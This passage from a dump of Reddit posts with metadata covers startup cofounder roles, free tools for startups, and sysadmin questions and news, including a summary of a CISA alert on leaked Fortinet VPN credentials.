develop at the skill level required to build my own app, but I can test the hell out of the product. I test every update feature and update, test mobile responsiveness, report bugs, make suggestions where I can, and once we go live this year I will plan and do UAT, A/B testing etc. 6. **Creating Manuals:** This is by far the most horrible job I have. Creating manuals and a knowledge base for our users for every feature. 7. **Product management and product owner:** I bought 2 Udemy courses to learn more about both of these roles (I did have some prior knowledge, but felt it wasn't enough). I find and talk to potential users, decide on features to be built based on feedback, prioritize development, update the back log, plan the sprints with my co-founder etc. 8. **Building and maintaining the product website:** I taught myself basic CSS and HTML to build a proper site in WordPress (When I get stuck I ask for help as a last resort). I write the content for the website and get articles written for our blog. 9. **Learning more about managing SAAS products:** I read intercom's blog posts, follow subreddits such as this one, read medium articles, books and more. &#x200B; I ran out of time now and have to attend a meeting. These are the first few things that came to mind, and there is probably more. If there are spelling and grammar mistakes, I will fix it later today. &#x200B; Edit: &#x200B; 10. **Sales:** From the comments this is something that I have not paid enough attention to. Thanks for all the recommendations and help guys :)",gustavdp,344,93,1554816841,/r/startups/comments/bb802d/want_to_be_the_nontechnical_cofounder_and_not/,https://www.reddit.com/r/startups/comments/bb802d/want_to_be_the_nontechnical_cofounder_and_not/,self.startups,True,,,,, 21qvf5,startups,List of some amazing FREE services offered by professional services useful to startups,"[I saw that you like free stuff](http://redd.it/21qc3n) that is great for startups so I made a list for you to use for other free services. **UNIQUE PRODUCTS AND SERVICES** * **WhatFix** ([LINK](http://whatfix.com/)) - Create website walkthroughs of your website or other websites to create interactive tutorials. You can even embed them into websites. Free unless you want to use the enterprise edition but it isn't necessary at all. WhatFix is more than just a walkthrough. With just 5 mins effort you can create an interactive guide, which can be used as walkthrough inside your application, and can also be added as slideshow, video or an article to power your knowledge base/ support pages.Redditor built. (Example: Create a walkthrough of how to attach mail to gmail email and send it.) * **NinjaMock** ([LINK](http://ninjamock.com)) – Free mockup tool for non-companies for mobile apps, websites, and more. * **Justworks** ([LINK](https://www.justworks.com/)) - FREE 1099 filing service for contractors. Great HR outsourcing abilities here. * **Harbor Compliance** ([LINK](https://www.harborcompliance.com/information/index.php)) - Free state by state information for setting up your business to be legally compliant from the start. Even has non-profit startup information to reduce your failure rate. * **HARO (Help A Reporter Out)** ([LINK](http://www.helpareporter.com/)) - Free press release service. Owned by vocus who also owns PRWeb.com * **Uservoice** ([LINK](https://www.uservoice.com/for-startups/)) - Free for a year for startups. This platform allows you to gain massive insight into your website visitors minds by gathering feedback through different widgets. You can even learn what to write next using it. NOTE: you have to be in one of the approved programs and qualify with other things as well. See more on the linked page. Even without this program they do offer a wonderful free solution to more than just startups. See that here: [LINK](https://www.uservoice.com/plans/?ref=top_pricing) * **Zapier** ([LINK](https://zapier.com/app/pricing)) - Gives you the ability to connect different apps together such as Paypal with Mailing services or Gmail with Evernote. They have a massive collection of apps that can be connected together. Their free teir should give you a really great idea how powerful it is. (suggested by /u/Nebojsac - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfwf1n)) * **LaunchRock** ([LINK](http://launchrock.co/)) - Great landing page for startups to use to do prelaunches for their products or services or websites. Slick, powerful, and flexible. Best part is it is free. (suggested by /u/GRANITO - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfqumz)) **CLOUD FILE STORAGE** * **Dropbox** ([LINK](https://www.dropbox.com)) - Free storage for all kinds of files and allows for syncing with your folders. Shareable files and folders as well with links you can give to people. You can also create groups of people able to edit the folders contents if you have a team or something. * **Google Drive** ([LINK](https://www.google.com/drive/)) - Drive starts you with 15 GB of free Google storage, so you can keep pictures, stories, designs, drawings, recordings, videos – anything. Attaches easily to your Google email account. It also has many apps that can be installed to it. There are many office type tools there by default such as form creation and entry collection, excel type files, etc. It is able to be upgraded to 16TB if you really want to. **PROJECT MANAGEMENT** * **Solo** ([LINK](http://getsoloapp.com/)) - Free project management program for freelancers. Redditor built. * **Asana** ([LINK](https://asana.com/)) - Great free collaborative task manager I've tried. Useful for bug submissions too. (suggested by /u/BongHitta - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfz4dl)) * **Trello** ([LINK](https://trello.com/)) - is simple card + list based project management. (suggested by /u/jonadair - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgftapb)) **APP AND WEB DEVELOPMENT** * **Parse** ([LINK](https://parse.com/plans)) - The complete mobile app platform. Focus on creating unique & engaging apps on any platform. We take care of everything else your app needs, from the core of your app to analytics and push notifications. Owned by Facebook. Free plan covers: Requests 1 million/month | Pushes 1 million/month | Burst Limit 20/second * **Github Pages** ([LINK](http://pages.github.com/)) - is decent free hosting for static websites. (suggested by /u/jonadair - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgftapb)) * **Bitbucket** ([LINK](https://bitbucket.org/)) - offers free source code control hosting (git or mercurial) for up to 5 users and unlimited private repositories. (suggested by /u/jonadair - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgftapb)) * **Heroku** ([LINK](https://devcenter.heroku.com/categories/billing)) - Heroku provides you with all the tools you need to iterate quickly, and adopt the right technologies for your project. Build modern, maintainable apps and more. Lots of free add-ons too. (suggested by /u/OHotDawnThisIsMyJawn - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfr1vb)) * **New Relic** ([LINK](http://newrelic.com/pricing)) - Web and Mobile App testing done right. New Relic is a Software Analytics company that makes sense of billions of metrics across millions of apps. We help the people who build modern software understand the stories their data is trying to tell them. (suggested by /u/ADHD7 - [here]( http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfqx4r)) * **OnCheckin** ([LINK](https://oncheckin.com/pricing)) - Allows you to get Continuous Deployment setup with automated unit testing etc. for one ASP.Net website. (suggested by /u/dougrathbone - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfupfn)) * **Designmodo** ([LINK](http://designmodo.com/startup/)) - Refer to this in ""unique products and services"" section. * **NinjaMock** ([LINK](http://ninjamock.com)) – Refer to this in ""unique products and services"" section. * **LaunchRock** ([LINK](http://launchrock.co/)) - Refer to this in ""unique products and services"" section. **HOSTING** * **Rackspace** ([LINK](http://rackspacestartups.com/) | [reference post](http://redd.it/21qc3n) | [Developer discount link](http://developer.rackspace.com/devtrial/)) - Free server space for a year for startups. NOTE: Some have said it requires being a part of an accelerator or something similar. Make sure to look into that. If anyone finds more on this, link to it please. * **AWS Free Tier** ([LINK](http://aws.amazon.com/free/) | [Provisions to be aware of](http://aws.amazon.com/free/terms/)) - Amazon has a wonderful platform that is scalable and can do quite a bit. They give you 12 free months of usage. Be aware of the provisions in the offer because if you don't, you will be paying a lot after the time is up and if your business doesn't need it or can pay it with profits, this is good information to be aware of. (suggested by /u/littledub - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfpd3k)) * **Nitrous.io** ([LINK](https://www.nitrous.io/join/XqfUv6N6zBs?utm_source=nitrous.io&utm_medium=copypaste&utm_campaign=referral)) - Is a nice alternative to AWS if you're just throwing something together and they have a free tier as well that's really convenient for setting up a box (with Rails, Node, PHP, or Go) and getting something tested immediately. (suggested by /u/actx - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfqk0t)) * **SoftLayer** ([LINK](https://www.softlayer.com/catalyst)) - Offers cloud, dedicated and hybrid environments and resources that allow businesses to outsource their IT, so they can focus on their core competencies and give their hosting infrastructure to the experts. (suggested by /u/diadem - [here]( http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfwgl3)) **EMAIL** * **Mandrill App** ([LINK](http://mandrill.com/pricing/)) - Fast bulk emailing with a free service tier. Up to 12k emails a month for free. (suggested by /r/littledub [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfpd3k)) * **MailChimp** ([LINK](http://mailchimp.com)) for transactional and mass email. Send 12,000 emails to 2,000 subscribers for free. No contracts, and no credit card required. It’s free forever. A few of the features are only available with paid accounts. Get add-ons like autoresponders, email client testing, delivery by time zone, and Social Pro when you upgrade to a paid account for $10/month. (suggested by /u/littledub - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfpd3k)) * **Campayn** ([LINK](http://campayn.com/)) - Offers a Free tier with 2,000 contacts 20,000 emails per month. Also has a lot of beautiful templates to get you started quick. (suggested by /u/Nebojsac - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfwczf)) * **MadMimi** ([LINK](https://madmimi.com/service_agreements/signup/48)) - Store up to 2,500 contacts and send 12,500 emails. (suggested by /u/CountLippe - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfrmy0)) * **SendinBlue** ([LINK](https://www.sendinblue.com/pricing/)) - Easily manage your Marketing campaigns, Transactional Emails, and SMS messages all in one simple and powerful platform. (suggested by /u/CountLippe - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfrmy0)) * **Mailstache** ([LINK](https://mailstache.io/pricing)) - Mailstache is a service designed for developers and small businesses who are tired of worrying about email. Our goal is to provide a simple outsourced email solution with high uptime. (suggested by /u/mocxy - [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfvcg3)) --- I'm glad people are enjoying this list. To see even more information like this I have put together, you can visit my two websites that are startup related. 1. www.TheGreatStartupWiki.com 2. www.SmallBusinessGrowthSolutions.com --- This should help out a bit. What other free services are given to startups that I could add to this list? This post is so that others can reference it later on as a directory of sorts of free amazing startup services. --- EDIT: Updated the post as some items require being part of an accelerator or other similar type things. This was pointed out by /u/Talman [here](http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/cgfpemi). EDIT 2: Added more items. EDIT 3: Added links to my two startup related websites that are similar to this list. --- *Note: If anyone likes this content and wants more similar information, go ahead and send me a PM, and I will hook you up with more stuff. Let's keep things clean and awesome and keep sharing the awesome.* ",testmypatience,343,144,1396188186,/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/,http://www.reddit.com/r/startups/comments/21qvf5/list_of_some_amazing_free_services_offered_by/,self.startups,True,,,,, 1f8mts6,startups,Top startup lies 👇,[removed],[deleted],343,39,1725432861,/r/startups/comments/1f8mts6/top_startup_lies/,,,True,,,,, 6cyaug,startups,Y Combinator alum just shared some super helpful info on how startups can automate their business processes like large companies do (but without the associated costs),"**The blog was a little heavy and pretty dense at some parts so I thought it would be helpful to summarize what they said here.** --- The full post is linked below. The company was Konsus, a YC alum. They mention that the main reason startups shy away from automation is that they assume that they don't have enough capital or development resources to automate. Their solution (or ""hack"") to solve this problem as a lean startup themself was through two services, Kloudio and Zapier. **Even though some large companies like Netflix, Quickr, and Medium use these tools, they have non-enterprise plans that startups can easily afford! Both these services require no coding so your business guys can handle them ;)** - **1. [Kloud.io](https://chrome.google.com/webstore/detail/kloudio/ljombgmfmkdhfjikcebngcogmchiljjj?utm_source=reddit)** Kloudio automatically brings relevant information from databases into Google Sheets or Excel without any complex IT infrastructure or knowledge. So the non-technical business guy in your startup can easily pull up only the information he needs (sales, ratings, client feedback, etc) right into Google Sheets (it's literally a Google add-on) so he won't get confused. He can do this with no coding knowledge, and the reports can be scheduled to update automatically every day/hour/etc, so the data will always be in sync and correct. It's pretty awesome! Compatible with Excel as well obviously. **2. [Zapier](https://zapier.com/)** Zapier moves information between all sorts of webapps automatically through workflows called ""Zaps"". For example, you can set a Zap to trigger whenever an email is received with a file attachment. The zap can then automatically upload these attachments to Dropbox, and then alert chosen people on Slack of the upload. Again, no coding at all. Pretty cool! I can see both of these services being HUGE time savers for most startups/small businesses, and looking at the prices they seem affordable for even early stage startups. Got this info from [Konsus's blog](https://www.konsus.com/blog/beginnners-automation-guide/), a Y Combinator alum.",Sushirush,340,42,1495581099,/r/startups/comments/6cyaug/y_combinator_alum_just_shared_some_super_helpful/,https://www.reddit.com/r/startups/comments/6cyaug/y_combinator_alum_just_shared_some_super_helpful/,self.startups,True,,,,, 1ua5vpg,sysadmin,"Am I Getting Fucked Friday, June 19th 2026","Brought to you by r/sysadmin 'Trusted VAR': u/SquizzOC with Trusted Telecom Broker u/Each1Teach1x27 for Telecom and u/Necessary_Time in Canada Happy to answer in the thread or via PM if you don't want to post details like service locations publicly. This weekly thread is here for you to discuss vendor and service provider expectations, software questions, pricing, and quotes for network services, licensing, support, deployment, and hardware.   Required Info for accurate answers: * Part Number * Manufacturer/vendor * Service Type and Service Location (DM Service Location) * Quantity (as applicable) All questions are welcome regarding: * Cloud Services, Security, configurations, deployment, management, and migrations * Storage Vendor options, alternatives, details, * Software Licensing: This includes Microsoft CSPs * Connectivity, Single-site and multi-location. Dedicated internet access, Broadband, 5G, satellite * Voice services, SIP, UCaaS, Contact Center, POTS (Analog line) replacement * Network infrastructure - overlay software, segmentation, routers, switches, load balancing, APs * Security, Access Management, firewalls, MFA, cloud DNS, layer 7 services, antivirus, email, DLP",Each1teach1x27,1,0,1781884851,/r/sysadmin/comments/1ua5vpg/am_i_getting_fucked_friday_june_19th_2026/,https://www.reddit.com/r/sysadmin/comments/1ua5vpg/am_i_getting_fucked_friday_june_19th_2026/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1ua546d,sysadmin,Has anyone actually caught a fake or deepfake candidate in a remote interview — or is it overblown? [N/A],[removed],Hungry_Lack_3462,1,0,1781883078,/r/sysadmin/comments/1ua546d/has_anyone_actually_caught_a_fake_or_deepfake/,https://www.reddit.com/r/sysadmin/comments/1ua546d/has_anyone_actually_caught_a_fake_or_deepfake/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1ua3v93,sysadmin,"CISA warns Fortinet shops over FortiBleed: 74k+ devices with leaked creds, rotate everything now","CISA dropped an alert on June 18 telling everyone with internet-facing FortiGate firewalls and SSL VPN gateways to lock things down. The campaign is being called FortiBleed. The important part: this is NOT a new zero-day. CISA and Fortinet both say it comes from reused and un-rotated credentials from earlier infostealer leaks, combined with brute-force activity. Fortinet says no new vulnerability exists in their products. CISA says the activity ""involves the exposure of leaked credentials associated with approximately 74,000 Fortinet devices."" SOCRadar says it is worse, citing ""over 86,644 confirmed working credentials across 194 countries."" Researcher Bob Diachenko found an exposed server with valid VPN creds, usernames, emails, and plaintext passwords, attributed to a Russian-speaking cybercrime group. Kevin Beaumont, working with Hudson Rock, verified the data is real: ""I have worked with several orgs listed, and can confirm the logins and passwords are real. Many of the devices sampled are on fairly recent patches."" Even 25+ character passwords showed up in plaintext, so these were pulled from harvested infostealer logs, not cracked. Huntress identified 845 impacted partner orgs. TechCrunch named alleged victims including Accenture, Comcast, Foxconn, Lenovo, Oracle, Samsung, Siemens, and PwC. Bitsight confirmed active exploitation with tunneling tools Chisel and Neo-reGeorg. NCSC, Canada's Cyber Centre (AL26-014), the FBI, and HKCERT all put out warnings too. What CISA wants you to do now: kill all SSL VPN and admin sessions, reset every VPN and admin password, turn on phishing-resistant MFA, and dig through logs for unauthorized access or lateral movement. Canada also says audit for rogue accounts like forticloud-sync and forticloud-tech, and verify patches for CVE-2024-55591, CVE-2025-59718, and CVE-2025-59719. So basically, if you run Fortinet edge gear, today is a password rotation day whether you planned one or not. https://www.cisa.gov/news-events/alerts/2026/06/18/cisa-urges-hardening-fortinet-devices-after-reports-credential-exposure",TrustSig,1,0,1781880181,/r/sysadmin/comments/1ua3v93/cisa_warns_fortinet_shops_over_fortibleed_74k/,https://www.reddit.com/r/sysadmin/comments/1ua3v93/cisa_warns_fortinet_shops_over_fortibleed_74k/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1ua3hmx,sysadmin,Pros and cons of switching from corporate IT to a MSP?,"I'm getting burned out working in big corporate IT and considering the move to a small, local MSP in my area. The MSP looks great, gets amazing reviews locally, and they look like they have a ton of fun and growth opportunities within. I'd have to start as a Level 2 on the service desk, but the salary is actually in line with what I'd expect. ​ What are some pros and cons of switching",anon65432178,1,0,1781879282,/r/sysadmin/comments/1ua3hmx/pros_and_cons_of_switching_from_corporate_it_to_a/,https://www.reddit.com/r/sysadmin/comments/1ua3hmx/pros_and_cons_of_switching_from_corporate_it_to_a/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1ua38r2,sysadmin,Real world opinions and reviews on VMWare alternatives,"I currently administer a 3 node VMware cluster for a SME in the UK. The cluster runs around 65 VMs and was originally licensed as Essentials level as it provided the company with all the features it required (High Availability, Shared storage \[via Starwind VSAN\] and live migration of VMs). During this years renewal it was necessary to upgrade to a Standard license (while it was more expensive, it was not outrageous). The cluster is currently running on v8. The hardware it currently runs on it ***not*** supported by v9, so a hardware refresh is going to be required. As a result, we're considering ***all*** options. Currently we have short listed the following options to consider :- * Azure Local * Hyper-V * Nutanix AHV * Proxmox * SC//HyperCore (Scale Computing) **The question for the community.** * Are there any other contenders missing off the list that I should consider? * Do any of you have really good (or bad) experiences using or moving to any of the above solutions? ***I'm really looking for feedback from IT Admins administrating environments on a size similar to ours, across a team of at least three or four people. That's a very different proposition to running a couple of VMs on a home lab with no one shouting at you if a service goes down*** :) Thank you in advance for your feedback. # Current hardware * 3x PowerEdge R740xd * 2x Intel(R) Xeon(R) Silver 4110 CPU @ 2.10GHz * Logical Processors: 32 * 255GB RAM * NICs: 8 * **Storage** * 256 GB Local SSD storage (Starwind VSAN VM only) * 2x 256 GB in RAID 1 configuration * 22TB Local HDD storage (PERC card passthru to Starwinds VMs, underlying storage made available to hypervisors via iSCSI) * 12x 4TB in RAID 10 configuration * 18 TB made available via Starwinds. 4TB unallocated. Of the 18 TB allocated, 9.89 TB is free. (Therefore 8.11 TB used)",SteveScotter,1,0,1781878682,/r/sysadmin/comments/1ua38r2/real_world_opinions_and_reviews_on_vmware/,https://www.reddit.com/r/sysadmin/comments/1ua38r2/real_world_opinions_and_reviews_on_vmware/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1ua31v5,sysadmin,What part of troubleshooting still feels unnecessarily manual?,"Had a few tickets recently where I felt like I spent more time gathering information than actually troubleshooting. Made me curious how others approach it. What’s the thing you find yourself checking on almost every ticket before you can really start investigating? For me it’s usually a mix of device info, application versions, logs, service status, update history, etc., and it often means jumping between multiple tools before I even have enough context. What’s the first thing you go looking for when a user reports “it’s not working”?",No_Gap976,1,0,1781878223,/r/sysadmin/comments/1ua31v5/what_part_of_troubleshooting_still_feels/,https://www.reddit.com/r/sysadmin/comments/1ua31v5/what_part_of_troubleshooting_still_feels/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1ua2n9g,sysadmin,nouveau,[removed],Huge_Lavishness_5874,1,1,1781877237,/r/sysadmin/comments/1ua2n9g/nouveau/,https://www.reddit.com/r/sysadmin/comments/1ua2n9g/nouveau/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1ua2crj,sysadmin,"best way to set up temp accounts for summer interns (BYOD, 3-month limit, request-based access)?"," ​ Hi all, fairly new to the IT admin role and want to get this right. ​ We're bringing on summer interns for 3 months. They'll be using their personal devices (no company-issued laptops), so I can't lock things down at the device level the way I would with managed hardware. ​ What I'm trying to set up: ​ \- Accounts that \*auto-expire after 3 months (don't want to rely on remembering to manually disable them) ​ \- \*\*No standing access\*\* to most resources by default — instead some kind of \*\*""request access"" button/workflow\*\* where they ask for specific apps/files/permissions and someone approves it ​ \- Since it's BYOD, I'm also thinking about how to handle Conditional Access / MFA without fully enrolling personal devices in MDM ​ We're on Microsoft 365 / Entra ID. Is the right approach here ​ Has anyone actually implemented something like this for interns/BYOD? Any gotchas with conditional access policies when devices aren't enrolled? Would love to hear what's worked (or blown up) for you. ​",Significant-Gene-428,1,0,1781876512,/r/sysadmin/comments/1ua2crj/best_way_to_set_up_temp_accounts_for_summer/,https://www.reddit.com/r/sysadmin/comments/1ua2crj/best_way_to_set_up_temp_accounts_for_summer/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1ua1s7o,sysadmin,Office hyperlinks to files stopped working (Word and Excel) - anyone else seeing this?,"We've got a strange issue that started recently and I'm trying to work out whether it's something in our environment or a Microsoft 365 issue. ​ Environment is Windows 11 25H2 with Microsoft 365 Apps for Enterprise, Version 2605 (Build 16.0.20026.20182). ​ The issue is that hyperlinks to files no longer work from Word or Excel. ​ Examples: ​ \* Hyperlink to a website works \* Hyperlink to a network share/folder works \* Hyperlink to a local file doesn't work \* Hyperlink to a network file doesn't work \* Hyperlink to an EXE doesn't work ​ When you click the file hyperlink you get absolutely nothing. No error, no prompt, no application launch. ​ What's confusing is that the files themselves open fine: ​ \* Open from Explorer = works \* Open from Run = works \* Open from CMD = works \* Open manually from Word/Excel = works ​ It's only clicking the hyperlink inside Office that fails. ​ Things we've already checked: ​ \* Multiple users \* Multiple PCs \* New documents \* New hyperlinks \* Local and UNC paths \* Safe Mode \* Trust Center settings \* GPO comparisons \* File associations \* Permissions ​ One interesting thing from ProcMon is that Office successfully reads the hyperlink and resolves the path, but I never see it attempt to launch Word, Notepad or any other target application afterwards. ​ Another oddity is that running protocolhandler.exe from the Office installation folder throws a blank Office error dialog. ​ At first I thought it was a machine policy issue because it only seemed to affect a subset of devices, but it's now appeared on additional machines running the same Office build. ​ Before I start rolling Office back on a test machine, has anyone else seen this on Version 2605 / Build 16.0.20026.20182? ​ Particularly interested if anyone can test a simple hyperlink to something like: ​ C:\\Temp\\Test.txt ​ from a brand-new Word or Excel document and see whether it opens. ​",simstar25,1,0,1781875060,/r/sysadmin/comments/1ua1s7o/office_hyperlinks_to_files_stopped_working_word/,https://www.reddit.com/r/sysadmin/comments/1ua1s7o/office_hyperlinks_to_files_stopped_working_word/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1ua0tch,sysadmin,DDN/Tintri/Tegile Intelliflash and Hyper-V Clusters,[removed],Left_Intention_6867,1,1,1781872466,/r/sysadmin/comments/1ua0tch/ddntintritegile_intelliflash_and_hyperv_clusters/,https://www.reddit.com/r/sysadmin/comments/1ua0tch/ddntintritegile_intelliflash_and_hyperv_clusters/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1ua0a83,sysadmin,Somemone have alternatives to visio addin? Like lucid chart,"Now again bruhhhh i just want news, because im testing lucid chart but its not that automatically like the old Visio addin And somemone knew why Microsoft removed that i mean wtf? My company used the Visio Data Visualizer add-in for Excel to generate process flowcharts and swimlane diagrams directly from structured Excel data. Since Microsoft retired the add-in, we've been looking for alternatives but haven't found anything that works the same way. We tested Lucidchart, but it doesn't seem to understand the original Data Visualizer Excel structure well enough to automatically generate process diagrams with swimlanes, decision nodes, connectors, etc. For those who previously used Data Visualizer: \- What are you using today? \- Did you migrate to another tool? \- Are you maintaining diagrams manually now? \- Have you found a tool that can generate process diagrams directly from Excel data? I'm especially interested in solutions that can automatically generate and update flowcharts from structured Excel tables. Thanks!",Mammoth_Emergency_59,1,0,1781870970,/r/sysadmin/comments/1ua0a83/somemone_have_alternatives_to_visio_addin_like/,https://www.reddit.com/r/sysadmin/comments/1ua0a83/somemone_have_alternatives_to_visio_addin_like/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9zemi,sysadmin,How are domain credentials stored on printer when configuring LDAP?,"When setting up LDAP on a printer, to enable network scanning for example, I must enter the username/password of an account on the domain which has permissions to query the domain directory. I noticed when using clone files to copy configuration to a bunch of new Xerox MFPs that I do not have to re-enter the password on all of the printers after installing a clone file. My question is... how are the username and passwords being stored? Are they plain text? Is it encrypted on the local device but using a hash when using a clone file to copy printer configurations?",tonebastion,1,0,1781868374,/r/sysadmin/comments/1u9zemi/how_are_domain_credentials_stored_on_printer_when/,https://www.reddit.com/r/sysadmin/comments/1u9zemi/how_are_domain_credentials_stored_on_printer_when/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9z8ri,sysadmin,DE Shaw System Administrator Intern Interview,"I have an interview scheduled for next week and still awaiting my assessment link. I thought this community would have the best insights into the company's process. I'm scheduled for a 45-minute interview next week and also have a 20-minute online assessment. Would anyone have any insights on what the interview or assessment looks like? Any help is appreciated. ",FakeyMakeyACC,1,0,1781867861,/r/sysadmin/comments/1u9z8ri/de_shaw_system_administrator_intern_interview/,https://www.reddit.com/r/sysadmin/comments/1u9z8ri/de_shaw_system_administrator_intern_interview/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9z8at,sysadmin,DE Shaw Group Intern Interview,[deleted],[deleted],1,0,1781867818,/r/sysadmin/comments/1u9z8at/de_shaw_group_intern_interview/,,,True,1,False,,arctic-shift,1781885547 1u9yvie,sysadmin,Is there an outage? What fresh hell awaits today?,"I run a lot of smart lights and such, and one thing I like about them is I get a heads up on if there's an outage. Today all my smart outlets weren't working, including my coffee maker. ​ After resolving the C1, I checked down detector and didn't see anything stand out. ​ So how about it? Anything I can expect to have to deal with out of my control today beyond the normal?",TheBigBeardedGeek,1,0,1781866714,/r/sysadmin/comments/1u9yvie/is_there_an_outage_what_fresh_hell_awaits_today/,https://www.reddit.com/r/sysadmin/comments/1u9yvie/is_there_an_outage_what_fresh_hell_awaits_today/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9ynqc,sysadmin,: Am I the only one missing Visio Data Visualizer?,"Maybe I'm looking in the wrong places, but I feel like there is still no proper replacement for the old Visio Data Visualizer for Excel. The feature was simple: Excel table → Refresh → Process diagram Now every alternative I've tested either: Requires manual diagram building Doesn't understand process relationships Doesn't support swimlanes properly Doesn't keep Excel as the single source of truth Are there others who relied on this workflow? If so: What industry are you in? How many process diagrams do you manage? What are you doing now that Data Visualizer is gone? I'm trying to understand whether this is a niche problem or if other companies are struggling with the same thing.",Mammoth_Emergency_59,1,0,1781865978,/r/sysadmin/comments/1u9ynqc/am_i_the_only_one_missing_visio_data_visualizer/,https://www.reddit.com/r/sysadmin/comments/1u9ynqc/am_i_the_only_one_missing_visio_data_visualizer/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9yn6l,sysadmin,What are you using after the retirement of Visio Data Visualizer for Excel,"My company used the Visio Data Visualizer add-in for Excel to generate process flowcharts and swimlane diagrams directly from structured Excel data. Since Microsoft retired the add-in, we've been looking for alternatives but haven't found anything that works the same way. We tested Lucidchart, but it doesn't seem to understand the original Data Visualizer Excel structure well enough to automatically generate process diagrams with swimlanes, decision nodes, connectors, etc. For those who previously used Data Visualizer: \- What are you using today? \- Did you migrate to another tool? \- Are you maintaining diagrams manually now? \- Have you found a tool that can generate process diagrams directly from Excel data? I'm especially interested in solutions that can automatically generate and update flowcharts from structured Excel tables. Thanks!",Mammoth_Emergency_59,1,0,1781865925,/r/sysadmin/comments/1u9yn6l/what_are_you_using_after_the_retirement_of_visio/,https://www.reddit.com/r/sysadmin/comments/1u9yn6l/what_are_you_using_after_the_retirement_of_visio/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9y8ui,sysadmin,Intercom recomendations to call employees phones,"I need some recomendations for a device that can call one of our office employees from the hall. We do not have IP phones or any fancy stuff. Each person has their business phone and that's it. We need something that displays a list of people to call, and bidirectional audio so that they can talk. Something simple with a touch screen. We don't need door unlocking mechanisms or stuff like that. It would be indoors so there is no need for water or weather resistance. I've been looking for stuff but everything seems either overkill or doesn't have the screen to display a list. 2n IP has tons of things we don't need. I've come across the grandstream GSC3570, which has SIP but not regular phone line. Im not sure how to keep looking for this. Any ideas?",kurthynhio2455,1,0,1781864585,/r/sysadmin/comments/1u9y8ui/intercom_recomendations_to_call_employees_phones/,https://www.reddit.com/r/sysadmin/comments/1u9y8ui/intercom_recomendations_to_call_employees_phones/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9xyfy,sysadmin,Code signing certificate reputation,"I recently bought and activated a standard code signing certificate from Certum, and even though I asked family and friends to download my app, the SmartScreen defense window still appears on new downloads. It’s quite hard to market anything, even if something is free, if every time someone tries to download it they get hit with the biggest “Do not download” type of message by their own system… Is there any way to build a reputation somewhat quickly, or a way to disable the smartscreen entirely?",Christohff,1,0,1781863614,/r/sysadmin/comments/1u9xyfy/code_signing_certificate_reputation/,https://www.reddit.com/r/sysadmin/comments/1u9xyfy/code_signing_certificate_reputation/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9xv99,sysadmin,Intune Policy Blocking UAC Credential Prompts for Admin Accounts – Looking for a Fix,"Hi all, We have Intune to deny admin accounts from logging on locally to devices, but this has caused an unintended side effect — admins can no longer enter their credentials into UAC prompts either. We use BeyondTrust EPM for UAC elevation control, and this has broken since applying the policy. The issue seems to be that both local logon and UAC credential entry are treated as interactive sign-ins, so denying one blocks the other (bloody annoying) Our current account structure: • Standard accounts – used for day-to-day • Admin accounts – used for elevated/admin • LAPS – used for recovery What we’re trying to achieve: Block admin accounts from signing into devices interactively, while still allowing them to supply credentials for UAC/admin task elevation. Has anyone managed to separate these two behaviours? Is there a way to deny interactive logon for admin accounts while still permitting credential input for elevation prompts? Please help",Sufficient_Ostrich61,1,0,1781863299,/r/sysadmin/comments/1u9xv99/intune_policy_blocking_uac_credential_prompts_for/,https://www.reddit.com/r/sysadmin/comments/1u9xv99/intune_policy_blocking_uac_credential_prompts_for/,self.sysadmin,True,1,False,End-user Support,arctic-shift,1781885547 1u9wqg6,sysadmin,Would two SSL Connex USB mics work well together for Teams meetings?,"Hey guys, I'm trying to figure out a conference room setup and wanted to see if anyone has actually done this before. I have a fairly long meeting table and I'm looking at buying **two SSL Connex 360 USB microphones** for Microsoft Teams meetings. The idea would be to connect both microphones to the same Windows PC and somehow combine them (probably with Voicemeeter) so Teams sees them as a single microphone. Has anyone tried running two SSL Connex units at the same time? I'm 